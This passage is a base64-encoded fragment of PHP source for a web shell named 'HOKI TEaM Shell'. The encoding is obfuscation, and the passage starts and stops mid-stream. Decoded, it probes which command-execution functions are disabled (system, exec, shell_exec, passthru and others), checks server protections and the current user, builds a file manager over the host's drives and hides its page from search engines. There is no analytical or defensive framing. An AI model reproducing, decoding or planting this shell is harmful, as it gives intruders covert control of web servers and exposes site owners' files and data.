ciLl9fWlc1amIyUmxjZygkaG9raV91cGxvYWRlcikuIicpKSIpOwppZighaXNzZXQoJF9QT1NUWydhamF4J10pKXsKZnVuY3Rpb24gSG9raV9HZXREaXNhYmxlX0Z1bmN0aW9uKCl7CiRkaXNmdW4gPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvb
nMnKTsKJGFmYSA9ICc8c3BhbiBjbGFzcz0iaGVhZGVyX3Nob3dfYWxsIj5BbGwgRnVuY3Rpb25zIEFjY2Vzc2libGU8L3NwYW4+JzsKaWYoZW1wdHkoJGRpc2Z1bikpcmV0dXJuKCRhZmEpOwokcyA9IGV4cGxvZGUoJywnLCRkaXNmdW4pOwokcyA9
IGFycmF5X3VuaXF1ZSgkcyk7CiRpPTA7CiRiPTA7CiRmdW5jID0gYXJyYXkoJ3N5c3RlbScsJ2V4ZWMnLCdzaGVsbF9leGVjJywncHJvY19vcGVuJywncG9wZW4nLCdwYXNzdGhydScsJ3N5bWxpbmsnLCdkbCcpOwokYmxhY2tfbGlzdCA9IGFycmF
5KCk7CiRhbGxvd19saXN0ID0gYXJyYXkoKTsKZm9yZWFjaCgkcyBhcyAkZCl7CgkkZD10cmltKCRkKTsKCWlmKGVtcHR5KCRkKXx8IWlzX2NhbGxhYmxlKCRkKSljb250aW51ZTsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJGQpKXsKCQlpZihpbl9hcn
JheSgkZCwkZnVuYykpewoJCQkkZGlzIC49ICRkLiIgfCAiOyRiKys7CgkJCSRibGFja19saXN0W10gPSAkZDsKCQl9ZWxzZXsKCQkJJGFsbG93X2xpc3RbXSA9ICRkOwoJCX0KCQkkaSsrOwoJfQp9CmlmKCRpPT0wKXJldHVybigkYWZhKTsKaWYoJ
GkgPD0gY291bnQoJGZ1bmMpKXsKJGFsbCA9IGFycmF5X3ZhbHVlcyhhcnJheV9tZXJnZSgkYmxhY2tfbGlzdCwgJGFsbG93X2xpc3QpKTsKcmV0dXJuKCc8c3BhbiBjbGFzcz0iZGlzYWJsZV9mdW5jdGlvbnMiPicuaW1wbG9kZSgiIHwgIiwgJGFs
bCkuJzwvc3Bhbj4nKTsKfQpyZXR1cm4oJzxzcGFuIGNsYXNzPSJkaXNhYmxlX2Z1bmN0aW9ucyI+Jy4kZGlzLic8L3NwYW4+PGEgaWQ9Im1lbnVfb3B0X0dldERpc0Z1bmMiIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9Imhva2lfY2F
uX2FkZF9vcHQgPSB0cnVlO2coXCdHZXREaXNGdW5jXCcsbnVsbCxcJ3dwXCcpOyI+PHNwYW4gY2xhc3M9ImhlYWRlcl9zaG93X2FsbCI+U2hvdyBBbGwgKCcuJGkuJyk8L3NwYW4+PC9hPicpOwp9CmZ1bmN0aW9uIEhva2lOdW0oKXsKJGFyZ3MgPS
BmdW5jX2dldF9hcmdzKCk7CiRob2tpeCA9IGFycmF5KCk7CiRmaW5kID0gYXJyYXkoKTsKZm9yKCRpPTE7JGk8PTEwOyRpKyspewokaG9raXhbXSA9ICRpOwp9CmZvcmVhY2goJGFyZ3MgYXMgJGFyZyl7CiRmaW5kW10gPSAkYXJnOwp9CmVjaG8gJ
zxzY3JpcHQ+JzsKZm9yZWFjaCgkaG9raXggYXMgJGhva2kpewppZihpbl9hcnJheSgkaG9raSwkZmluZCkpCmNvbnRpbnVlOwplY2hvICdob2tpJy4kaG9raS4iXz0iOwp9CmVjaG8gJyIiPC9zY3JpcHQ+JzsKfQppZihlbXB0eSgkX1BPU1RbJ2No
YXJzZXQnXSkpCiRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOwokZnJlZVNwYWNlID0gZnVuY3Rpb25fZXhpc3RzKCdkaXNrZnJlZXNwYWNlJyk/QGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTonPyc
7CiR0b3RhbFNwYWNlID0gZnVuY3Rpb25fZXhpc3RzKCdkaXNrX3RvdGFsX3NwYWNlJyk/QGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTonPyc7CiR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTsKJG9uPSI8c3
BhbiBjbGFzcz0naGVhZGVyX29uJz4gT04gPC9zcGFuPiI7CiRvZj0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vZmYnPiBPRkYgPC9zcGFuPiI7CiRub25lPSI8c3BhbiBjbGFzcz0naGVhZGVyX25vbmUnPiBOT05FIDwvc3Bhbj4iOwppZihmdW5jdGlvb
l9leGlzdHMoJ3NzaDJfY29ubmVjdCcpKQokc3NoMj0kb247CmVsc2UKJHNzaDI9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKQokY3VybD0kb247CmVsc2UKJGN1cmw9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ215c3Fs
X2dldF9jbGllbnRfaW5mbycpfHxjbGFzc19leGlzdHMoJ215c3FsaScpKQokbXlzcWw9JG9uOwplbHNlCiRteXNxbD0kb2Y7CmlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQokbXNzcWw9JG9uOwplbHNlCiRtc3NxbD0kb2Y7Cml
mKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQokcGc9JG9uOwplbHNlCiRwZz0kb2Y7CmlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkKJG9yPSRvbjsKZWxzZQokb3I9JG9mOwppZihAaW5pX2dldCgnZGlzYWJsZV9mdW5jdG
lvbnMnKSkKJGRpc2Z1bj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKZWxzZQokZGlzZnVuPSJBbGwgRnVuY3Rpb25zIEVuYWJsZSI7CmlmKEBpbmlfZ2V0KCdzYWZlX21vZGUnKSkKJHNhZmVfbW9kZXM9IjxzcGFuIGNsYXNzPSdoZWFkZ
XJfb2ZmJz5PTjwvc3Bhbj4iOwplbHNlCiRzYWZlX21vZGVzPSI8c3BhbiBjbGFzcz0naGVhZGVyX29uJz5PRkY8L3NwYW4+IjsKJGNnaV9zaGVsbD0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vZmYnIGlkPSdoZWFkZXJfY2dpc2hlbGwnPk9GRjwvc3Bh
bj4iOwppZihAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpewokYmFzZWRpcl9kYXRhID0gQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpOwppZihzdHJsZW4oJGJhc2VkaXJfZGF0YSk+MTIwKXsKJG9wZW5fYj1zdWJzdHIoJGJhc2VkaXJfZGF0YSwwLCA
xMjApLiIuLi4iOwp9ZWxzZXsKJG9wZW5fYiA9ICRiYXNlZGlyX2RhdGE7Cn0KfWVsc2V7JG9wZW5fYj0kbm9uZTt9CmlmKEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSkKJHNhZmVfZXhlPUBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaX
InKTsKZWxzZQokc2FmZV9leGU9JG5vbmU7CmlmKEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSkKJHNhZmVfaW5jbHVkZT1AaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJyk7CmVsc2UKJHNhZmVfaW5jbHVkZT0kbm9uZTsKa
WYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKQp7CiR1c2VyID0gZnVuY3Rpb25fZXhpc3RzKCJnZXRfY3VycmVudF91c2VyIik/QGdldF9jdXJyZW50X3VzZXIoKToiPz8/PyI7CiR1aWQgPSBmdW5jdGlvbl9leGlzdHMoImdldG15
dWlkIik/QGdldG15dWlkKCk6Ij8/Pz8iOwokZ2lkID0gZnVuY3Rpb25fZXhpc3RzKCJnZXRteWdpZCIpP0BnZXRteWdpZCgpOiI/Pz8/IjsKJGdyb3VwID0gIj8iOwp9ZWxzZXsKJHVpZCA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQ
iKSYmZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRldWlkIik/QHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk6YXJyYXkoIm5hbWUiPT4iPz8/PyIsICJ1aWQiPT4iPz8/PyIpOwokZ2lkID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZX
RncmdpZCIpJiZmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKT9AcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTphcnJheSgibmFtZSI9PiI/Pz8/IiwgImdpZCI9PiI/Pz8/Iik7CiR1c2VyID0gJHVpZFsnbmFtZSddOwokdWlkI
D0gJHVpZFsndWlkJ107CiRncm91cCA9ICRnaWRbJ25hbWUnXTsKJGdpZCA9ICRnaWRbJ2dpZCddOwp9CiRjd2RfbGlua3MgPSAnJzsKJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKJG49Y291bnQoJHBhdGgpOwpmb3IoJGk9
MDsgJGk8JG4tMTsgJGkrKykgewokY3dkX2xpbmtzIC49ICI8YSBjbGFzcz0naGVhZGVyX3B3ZCcgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsXCIiOwokY2FjaF9jd2RfcGF0aCA9ICIiOwpmb3IoJGo9MDsgJGo8PSRpOyAkaisrKXsKJGN3ZF9saW5
rcyAuPSAkcGF0aFskal0uJy8nOwokY2FjaF9jd2RfcGF0aCAuPSAkcGF0aFskal0uJy8nOwp9CiRjd2RfbGlua3MgLj0gIlwiKScgcGF0aD0nIi4kY2FjaF9jd2RfcGF0aC4iJyBocmVmPScjYWN0aW9uPWZpbGVtYW4mcGF0aD0iLiRjYWNoX2N3ZF
9wYXRoLiInPiIuJHBhdGhbJGldLiIvPC9hPiI7Cn0KJGRyaXZlcyA9ICIiOwpmb3JlYWNoKHJhbmdlKCdhJywneicpIGFzICRkcml2ZSkKaWYoQGlzX2RpcigkZHJpdmUuJzpcXCcpKQokZHJpdmVzIC49ICc8YSBocmVmPSJqYXZhc2NyaXB0OnZva
WQoMCk7IiBjbGFzcz0iaGVhZGVyX2RyaXZlIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7CiRjc3Njb2RlID0nCS1tb3otYW5pbWF0aW9uLW5hbWU6IHNwaW47LW1vei1hbmlt
YXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTstbW96LWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjstbW96LWFuaW1hdGlvbi1kdXJhdGlvbjogMXM7LXdlYmtpdC1hbmltYXRpb24tbmFtZTogc3Bpbjstd2Via2l0LWFuaW1
hdGlvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlOy13ZWJraXQtYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogbGluZWFyOy13ZWJraXQtYW5pbWF0aW9uLWR1cmF0aW9uOiAxczstbXMtYW5pbWF0aW9uLW5hbWU6IHNwaW47LW1zLWFuaW1hdG
lvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlOy1tcy1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOiBsaW5lYXI7LW1zLWFuaW1hdGlvbi1kdXJhdGlvbjogMXM7YW5pbWF0aW9uLW5hbWU6IHNwaW47YW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3Vud
DogaW5maW5pdGU7YW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogbGluZWFyO2FuaW1hdGlvbi1kdXJhdGlvbjogMXM7JzsKZWNobyAnPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIg
Imh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGU
iIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPG1ldGEgbmFtZT0iUk9CT1RTIiBjb250ZW50PSJOT0lOREVYLCBOT0ZPTExPVyIgLz4KPGxpbmsgaHJlZj0iJy5fX3Nob3dpY29uKCdob2tpbWluaScpLiciIHJlbD0iaWNvbi
IgdHlwZT0iaW1hZ2UveC1pY29uIi8+Cjx0aXRsZT4uLjo6ICcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLicgfiBIT0tJIFRFYU0gU2hlbGwgLSB2Jy5fX0hPS0lfVkVSU0lPTl9fLictJy5fX0hPS0lfQ09ERV9OQU1FX18uJyA6Oi4uPC90aXRsZT4KP
HN0eWxlIHR5cGU9InRleHQvY3NzIj4nOz8+Ci5obGFiYWxle2NvbG9yOiM2N2FiZGY7Ym9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzliO21hcmdpbi1sZWZ0OjdweDtwYWRkaW5nOjJweH0jdGJsX3N5bXBwaHAgdHJ7dGV4
dC1hbGlnbjpjZW50ZXJ9I1BocENvZGUsLnBocC1ldmFscy1hY2UsLnZpZXdfbWxfY29udGVudHtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtyaWdodDowO2JvdHRvbTowO2xlZnQ6MDtiYWNrZ3JvdW5kOiMxYjI5MmIyNjt0b3A6NTBweH0uZWRpdG9
yLXZpZXd7cG9zaXRpb246cmVsYXRpdmU7aGVpZ2h0OjEwMCV9LnZpZXctY29udGVudHtwb3NpdGlvbjphYnNvbHV0ZTtvdmVyZmxvdy15OmF1dG87d2lkdGg6MTAwJTtoZWlnaHQ6OTMlfTo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7LXdlYmtpdC
1ib3gtc2hhZG93Omluc2V0IDAgMCA2cHggcmdiYSgwLDAsMCwuMyk7Ym9yZGVyLXJhZGl1czoxMHB4O2JhY2tncm91bmQtY29sb3I6IzAwMDExNX06Oi13ZWJraXQtc2Nyb2xsYmFye3dpZHRoOjEwcHg7YmFja2dyb3VuZC1jb2xvcjojMDAwMTE1f
To6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWJ7Ym9yZGVyLXJhZGl1czoxMHB4Oy13ZWJraXQtYm94LXNoYWRvdzppbnNldCAwIDAgNnB4IHJnYmEoMCwwLDAsLjMpO2JhY2tncm91bmQtY29sb3I6IzFlODJiNX0uZWRpdG9yLWZpbGUtbmFtZXttYXJn
aW4tbGVmdDoyOXB4O21hcmdpbi10b3A6NHB4O292ZXJmbG93OmhpZGRlbjt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO3doaXRlLXNwYWNlOm5vd3JhcH0uZWRpdG9yLWljb257cG9zaXRpb246YWJzb2x1dGV9LmlzX2FjdGl2ZXtiYWNrZ3JvdW5kOnJ
nYmEoNDksNTUsOTMsLjc3KTtib3JkZXItcmFkaXVzOjEwcHh9Lmhpc3RvcnktbGlzdHtoZWlnaHQ6ODglO292ZXJmbG93LXk6YXV0b30ub3B0LXRpdGxle3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6NTAlO3RvcDo1MCU7dHJhbnNmb3JtOnRyYW5zbG
F0ZSgtNTAlLC01MCUpO2NvbG9yOiMyZmQwNTE7Zm9udC1zaXplOjI1cHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlfS5vcHRpb25zX21pbl9iYWRnZXt2aXNpYmlsaXR5OmhpZGRlbjt0ZXh0LWFsaWduOmNlbnRlcjtyaWdodDozMHB4O2NvbG9yOiNmZ
mY7YmFja2dyb3VuZDojMmE4YTI0O3BhZGRpbmc6NnB4O2JvcmRlci1yYWRpdXM6NTAlO3dpZHRoOjE1cHg7aGVpZ2h0OjE1cHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7cG9zaXRpb246YWJzb2x1dGU7dG9wOi03cHh9I2NnaWxvYWRlci1taW5pbWl6
ZWQsI2RhdGFiYXNlX3dpbmRvdy1taW5pbWl6ZWQsI2VkaXRvci1taW5pbWl6ZWQsI29wdGlvbnNfd2luZG93LW1pbmltaXplZHtkaXNwbGF5OmJsb2NrO3Bvc2l0aW9uOmZpeGVkO3JpZ2h0Oi0zMHB4O3dpZHRoOjMwcHg7aGVpZ2h0OjMwcHg7dG9
wOjMwJTt6LWluZGV4Ojk5OTl9Lm1pbmltaXplZC13cmFwcGVye3Bvc2l0aW9uOnJlbGF0aXZlO2JhY2tncm91bmQ6IzBlMzA0YTt3aWR0aDo0NHB4O2hlaWdodDoxMzBweDtjdXJzb3I6cG9pbnRlcjtib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOj
VweDtib3JkZXItdG9wLWxlZnQtcmFkaXVzOjVweH0ubWluaW1pemVkLXRleHR7dHJhbnNmb3JtOnJvdGF0ZSgtOTBkZWcpO2NvbG9yOndoZWF0O2ZvbnQtc2l6ZTp4LWxhcmdlO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3Bvc2l0aW9uOmFic29sdXRlO
3JpZ2h0Oi01MXB4O3dpZHRoOjEyOXB4O3RvcDotMTBweDtib3JkZXItdG9wLWxlZnQtcmFkaXVzOjQlO2hlaWdodDo1NnB4O3BhZGRpbmc6M3B4fS5jbG9zZS1idXR0b24sLmVkaXRvci1taW5pbWl6ZXtoZWlnaHQ6MjZweDt3aWR0aDozOHB4O3Jp
Z2h0OjdweDtiYWNrZ3JvdW5kOiMxZDU2NzM7Y3Vyc29yOnBvaW50ZXI7cG9zaXRpb246YWJzb2x1dGU7Ym94LXNpemluZzpib3JkZXItYm94O2xpbmUtaGVpZ2h0OjUwcHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7dG9wOjE3cHg7Ym9yZGVyLXJhZGl
1czoxMDBweH0uZWRpdG9yLW1pbmltaXple3JpZ2h0OjUwcHh9LmNsb3NlLWJ1dHRvbjphZnRlciwuY2xvc2UtYnV0dG9uOmJlZm9yZSwuZWRpdG9yLW1pbmltaXplOmJlZm9yZXt0cmFuc2Zvcm06cm90YXRlKC00NWRlZyk7Y29udGVudDoiIjtwb3
NpdGlvbjphYnNvbHV0ZTt0b3A6NjMlO3JpZ2h0OjZweDttYXJnaW4tdG9wOi01cHg7bWFyZ2luLWxlZnQ6LTI1cHg7ZGlzcGxheTpibG9jaztoZWlnaHQ6NHB4O3dpZHRoOjI3cHg7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDIxNiwyMDcsMjA3LC43N
Sk7dHJhbnNpdGlvbjphbGwgLjI1cyBlYXNlLW91dH0uZWRpdG9yLW1pbmltaXplOmJlZm9yZXt0cmFuc2Zvcm06cm90YXRlKDApfS5jbG9zZS1idXR0b246YWZ0ZXJ7dHJhbnNmb3JtOnJvdGF0ZSgtMTM1ZGVnKX0uY2xvc2UtYnV0dG9uOmhvdmVy
OmFmdGVyLC5jbG9zZS1idXR0b246aG92ZXI6YmVmb3JlLC5lZGl0b3ItbWluaW1pemU6aG92ZXI6YmVmb3Jle2JhY2tncm91bmQtY29sb3I6cmVkfS5jbG9zZS1idXR0b246aG92ZXIsLmVkaXRvci1taW5pbWl6ZTpob3ZlcntiYWNrZ3JvdW5kLWN
vbG9yOnJnYmEoMzksNjYsODAsLjk2KX0jY2dpbG9hZGVyLCNkYXRhYmFzZV93aW5kb3csI2VkaXRvciwjb3B0aW9uc193aW5kb3d7ZGlzcGxheTpub25lO3Bvc2l0aW9uOmZpeGVkO3RvcDowO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7ei1pbmRleD
oyMH0uZWRpdG9yLXdyYXBwZXJ7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtwb3NpdGlvbjpyZWxhdGl2ZTt0b3A6MSV9LmVkaXRvci1oZWFkZXJ7d2lkdGg6OTclO2JhY2tncm91bmQ6cmdiYSgyMSw2Niw4OCwuOTMpO2hlaWdodDozN3B4O21hcmdpb
i1sZWZ0OjEzcHg7cG9zaXRpb246cmVsYXRpdmU7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czoxNXB4O2JvcmRlci10b3AtcmlnaHQtcmFkaXVzOjE1cHh9LmVkaXRvci1wYXRoe3Bvc2l0aW9uOmFic29sdXRlO2ZvbnQtc2l6ZTp4LWxhcmdlO21hcmdp
bi1sZWZ0OjEwcHg7dG9wOjZweDtjb2xvcjojMDBmZjdmfS5lZGl0b3ItbW9kYWx7cG9zaXRpb246cmVsYXRpdmU7dG9wOjA7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMSwyMywuOTUpO2hlaWdodDo5MCU7bWFyZ2luLWxlZnQ6MjAlO21hcmdpbi1
yaWdodDoyJTtib3JkZXI6MnB4ICMwZTMwNGEgc29saWR9LmVkaXRvci1leHBsb3Jlcnt3aWR0aDoxOSU7aGVpZ2h0OjkwJTtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwxLDIzLC45NCk7cG9zaXRpb246YWJzb2x1dGU7ei1pbmRleDoyO2xlZnQ6MS
U7Ym9yZGVyOjJweCAjMGUzMDRhIHNvbGlkfS5lZGl0b3ItY29udHJvbGxlcntwb3NpdGlvbjpyZWxhdGl2ZTt0b3A6LTEzcHh9LmZpbGUtaG9sZGVye3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjEwMCU7aGVpZ2h0OjMwcHh9LmZpbGUtaG9sZGVyP
i5oaXN0b3J5e3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOiMwM2IzYTM7Y3Vyc29yOnBvaW50ZXI7bGVmdDo1cHg7Zm9udC1zaXplOjE4cHg7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjt3aWR0aDo4OSU7aGVpZ2h0OjEwMCU7ei1pbmRleDozO2JvcmRl
ci1yYWRpdXM6MTBweDt0cmFuc2l0aW9uOmJhY2tncm91bmQtY29sb3IgLjZzIGVhc2Utb3V0fS5maWxlLWhvbGRlcj4uaGlzdG9yeS1jbG9zZXtkaXNwbGF5OmJsb2NrO29wYWNpdHk6MDtwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDoycHg7d2lkdGg
6MjBweDt0b3A6NHB4O3RleHQtYWxpZ246Y2VudGVyO2N1cnNvcjpwb2ludGVyO2NvbG9yOiNmZmY7YmFja2dyb3VuZDpyZWQ7Ym9yZGVyLXJhZGl1czoxMDBweDtmb250LWZhbWlseTptb25vc3BhY2U7ei1pbmRleDoxMDt0cmFuc2l0aW9uOm9wYW
NpdHkgLjZzIGVhc2Utb3V0O2ZvbnQtc2l6ZToxNXB4O2hlaWdodDoxOXB4fS5maWxlLWhvbGRlcj4uaGlzdG9yeTpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM2NDY0NjR9LmVkaXRvci1leHBsb3Jlcj4uaGhlYWRlcntwb3NpdGlvbjpyZWxhdGl2Z
Ttjb2xvcjojMTRmZjA3O2JvcmRlci1ib3R0b206MnB4ICMyMDZhYTIgc29saWQ7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjttYXJnaW4tYm90dG9tOjEwcHg7aGVpZ2h0OjU1cHh9LmVkaXRvci1zZWFyY2h7cG9zaXRp
b246YWJzb2x1dGU7Ym90dG9tOjdweDtsZWZ0OjMxcHh9LmhoZWFkZXItdGV4dHtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjhweDt0b3A6MnB4fS5oaXN0b3J5LWNsZWFye3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0OjhweDt0b3A6MnB4O2N1cnNvcjp
wb2ludGVyfS5lZGl0b3ItYm9keXtwb3NpdGlvbjpyZWxhdGl2ZTttYXJnaW4tbGVmdDozcHg7aGVpZ2h0OjEwMCV9LmVkaXRvci1hbmltLWNsb3Nley13ZWJraXQtYW5pbWF0aW9uOmVkaXRvckNsb3NlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkcz
stbW96LWFuaW1hdGlvbjplZGl0b3JDbG9zZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjplZGl0b3JDbG9zZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOmVkaXRvckNsb3NlIC44cyBlYXNlLWluLW91d
CBmb3J3YXJkc31Aa2V5ZnJhbWVzIGVkaXRvckNsb3NlezAle3Zpc2liaWxpdHk6MTtvcGFjaXR5OjF9MTAwJXt2aXNpYmlsaXR5OjA7b3BhY2l0eTowfX0uZWRpdG9yLWFuaW0tbWluaW1pemV7LXdlYmtpdC1hbmltYXRpb246ZWRpdG9yTWluaW1p
emUgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tb3otYW5pbWF0aW9uOmVkaXRvck1pbmltaXplIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbXMtYW5pbWF0aW9uOmVkaXRvck1pbmltaXplIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczthbml
tYXRpb246ZWRpdG9yTWluaW1pemUgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzfUBrZXlmcmFtZXMgZWRpdG9yTWluaW1pemV7MCV7cmlnaHQ6MDtvcGFjaXR5OjF9MTAwJXtyaWdodDotMjAwMHB4O29wYWNpdHk6MH19LmVkaXRvci1hbmltLXNob3
d7LXdlYmtpdC1hbmltYXRpb246ZWRpdG9yU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbmltYXRpb246ZWRpdG9yU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjplZGl0b3JTaG93IC44cyBlYXNlL
WluLW91dCBmb3J3YXJkczthbmltYXRpb246ZWRpdG9yU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHN9QGtleWZyYW1lcyBlZGl0b3JTaG93ezAle3JpZ2h0Oi0yMDAwcHg7b3BhY2l0eTowfTEwMCV7cmlnaHQ6MDtvcGFjaXR5OjF9fS5taW5p
bWl6ZWQtc2hvd3std2Via2l0LWFuaW1hdGlvbjptaW5pbWl6ZVNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tb3otYW5pbWF0aW9uOm1pbmltaXplU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjptaW5pbWl
6ZVNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzO2FuaW1hdGlvbjptaW5pbWl6ZVNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzfUBrZXlmcmFtZXMgbWluaW1pemVTaG93ezAle3JpZ2h0Oi0zMHB4O29wYWNpdHk6MH0xMDAle3JpZ2h0Oj
A7b3BhY2l0eToxfX0ubWluaW1pemVkLWhpZGV7LXdlYmtpdC1hbmltYXRpb246bWluaW1pemVIaWRlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbW96LWFuaW1hdGlvbjptaW5pbWl6ZUhpZGUgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tc
y1hbmltYXRpb246bWluaW1pemVIaWRlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczthbmltYXRpb246bWluaW1pemVIaWRlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkc31Aa2V5ZnJhbWVzIG1pbmltaXplSGlkZXswJXtyaWdodDowO29wYWNpdHk6
MX0xMDAle3JpZ2h0Oi0zMHB4O29wYWNpdHk6MH19Lmtpc2VyeW91bmktdGV4dDpob3Zlcnstd2Via2l0LXRleHQtc2hhZG93OjAgMCAyNXB4ICMwZjA7LW1vei10ZXh0LXNoYWRvdzowIDAgMjVweCAjMGYwOy1tcy10ZXh0LXNoYWRvdzowIDAgMjV
weCAjMGYwO3RleHQtc2hhZG93OjAgMCAyNXB4ICMwZjB9LnVwZGF0ZS1ob2xkZXJ7cG9zaXRpb246Zml4ZWQ7dG9wOjA7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMjQsMjksLjcyKTt3aWR0aDoxMDAlO2hlaWdodDoxMDAlfS51cGRhdGUtY29udG
VudHtwb3NpdGlvbjpyZWxhdGl2ZX0udXBkYXRlLWNvbnRlbnQ+YXt0ZXh0LWRlY29yYXRpb246bm9uZTtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjpyZ2JhKDEwMywxNjcsNDcsLjc3KTtsZWZ0OjI0JTttYXJnaW4tdG9wOjclO2ZvbnQtc2l6ZTo0M
HB4fS51cGRhdGUtY2xvc2V7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MDttYXJnaW4tcmlnaHQ6MjNweDt0b3A6MTBweDtmb250LXNpemU6MjdweDtiYWNrZ3JvdW5kLWNvbG9yOiMxMzBmNTA7d2lkdGg6NSU7Ym9yZGVyLXJhZGl1czoxMDBweDtj
dXJzb3I6cG9pbnRlcjtib3JkZXI6MnB4ICMwZTI2NWEgc29saWR9LnVwZGF0ZS1jbG9zZTpob3Zlcntib3JkZXI6MnB4ICMyNWZmMDAgc29saWQ7Y29sb3I6cmVkfS5maWxlc3Rvb2xze2hlaWdodDphdXRvO3dpZHRoOmF1dG87Y29sb3I6IzY3YWJ
